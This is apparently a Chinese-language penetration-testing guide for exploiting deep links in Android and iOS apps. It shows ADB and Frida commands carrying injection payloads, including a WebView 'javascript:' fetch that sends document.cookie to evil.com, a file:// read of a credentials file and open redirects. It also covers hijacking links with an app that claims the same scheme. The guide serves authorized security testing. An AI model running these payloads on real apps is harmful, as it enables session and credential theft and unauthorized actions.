利用深度链接漏洞
适用场景
使用此技能的场景:
- 评估移动应用深度链接处理中的注入和重定向漏洞
- 测试 Android Intent 过滤器和 iOS URL Scheme 处理器是否存在未授权访问
- 评估 App Links(Android)和 Universal Links(iOS)验证机制
- 测试通过竞争应用注册实施链接劫持
不适用于:未获得授权的情况 -- 深度链接利用可能在目标应用程序中触发意外操作。
前置条件
- 安装了 ADB 的 Android 设备或安装了 Objection/Frida 的 iOS 设备
- 使用 apktool 或 JADX 反编译 APK 以分析 AndroidManifest.xml
- 了解目标应用程序注册的 URL Scheme 和 Intent 过滤器
- Drozer,用于 Android Intent 测试
- Burp Suite,用于拦截深度链接触发的 API 调用
工作流程
步骤 1:枚举深度链接入口点
Android - 从 AndroidManifest.xml 提取:
# 反编译 APK
apktool d target.apk -o decompiled/
# 搜索带深度链接 Scheme 的 Intent 过滤器
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# 查找以下内容:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
iOS - 从 Info.plist 提取:
# 提取 URL Scheme
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# 提取 Universal Links(关联域名)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# 检查:applinks:target.com
# 验证 apple-app-site-association 文件
curl https://target.com/.well-known/apple-app-site-association
步骤 2:测试深度链接注入
通过 ADB 测试 Android:
# 基本深度链接调用
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# 使用注入载荷测试
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# 测试路径遍历
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# 测试 JavaScript 注入(如果在 WebView 中加载)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# 使用额外 Intent 参数测试
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS 通过 Safari 或命令行:
# 从 Safari 触发 URL Scheme
# 导航至:myapp://dashboard?user_id=1337
# 使用 Frida 调用
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
步骤 3:测试链接劫持
Android:
# 创建注册相同 URL Scheme 的恶意应用
# 攻击者应用的 AndroidManifest.xml:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# 当两个应用都安装时,Android 会显示选择对话框
# 在较旧的 Android 版本上,最先安装的应用可能处理链接
# 检查 App Links 验证(防止劫持)
adb shell pm get-app-links com.target.app
# 状态:verified = 安全
# 状态:undefined = 易受劫持攻击
步骤 4:测试 WebView 深度链接加载
# 如果深度链接在 WebView 中加载 URL,测试以下内容:
# 1. 开放重定向
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. 文件访问
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. 在 WebView 中执行 JavaScript
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
步骤 5:评估参数验证
测试每个深度链接参数是否存在:
- 在查询本地数据库的参数中存在 SQL 注入
- 文件路径参数中存在路径遍历
- 触发服务器请求的 URL 参数中存在 SSRF
- 通过 user_id 或 session 参数实现认证绕过
核心概念
| 术语 | 定义 |
|---|---|
| 自定义 URL Scheme | 应用注册的协议(myapp://),调用时路由到特定的应用处理器 |
| App Links(Android) | 经验证的 HTTPS 深度链接,绕过选择对话框,直接在已验证的应用中打开 |
| Universal Links(iOS) | Apple 使用 Web 域名上的 apple-app-site-association JSON 文件进行验证的深度链接机制 |
| Intent 劫持(Intent Hijacking) | 恶意应用通过注册相同的 URL Scheme 或 Intent 过滤器来拦截深度链接 |
| WebView 桥接(WebView Bridge) | 暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问 |
工具与系统
- ADB:Android 命令行工具,通过
am start调用深度链接 - Drozer:Android 安全框架,用于测试基于 Intent 的攻击面
- apktool:APK 反编译器,用于提取 AndroidManifest.xml 和 Intent 过滤器定义
- Frida:动态插桩工具,用于在运行时钩取 URL Scheme 处理器
- Burp Suite:代理工具,用于拦截深度链接导航触发的 API 调用
常见陷阱
- App Links 验证:具有已验证域名关联的 Android App Links 能抵抗劫持。检查
https://domain/.well-known/assetlinks.json处的assetlinks.json。 - Fragment 处理:某些应用处理 URL Fragment(#)的方式与查询参数(?)不同。两者都要测试。
- 编码绕过:对载荷进行 URL 编码,以绕过深度链接处理器中的客户端输入过滤。
- 多步深度链接:某些深度链接需要认证状态。在登录后和登录前都要测试,以评估授权执行情况。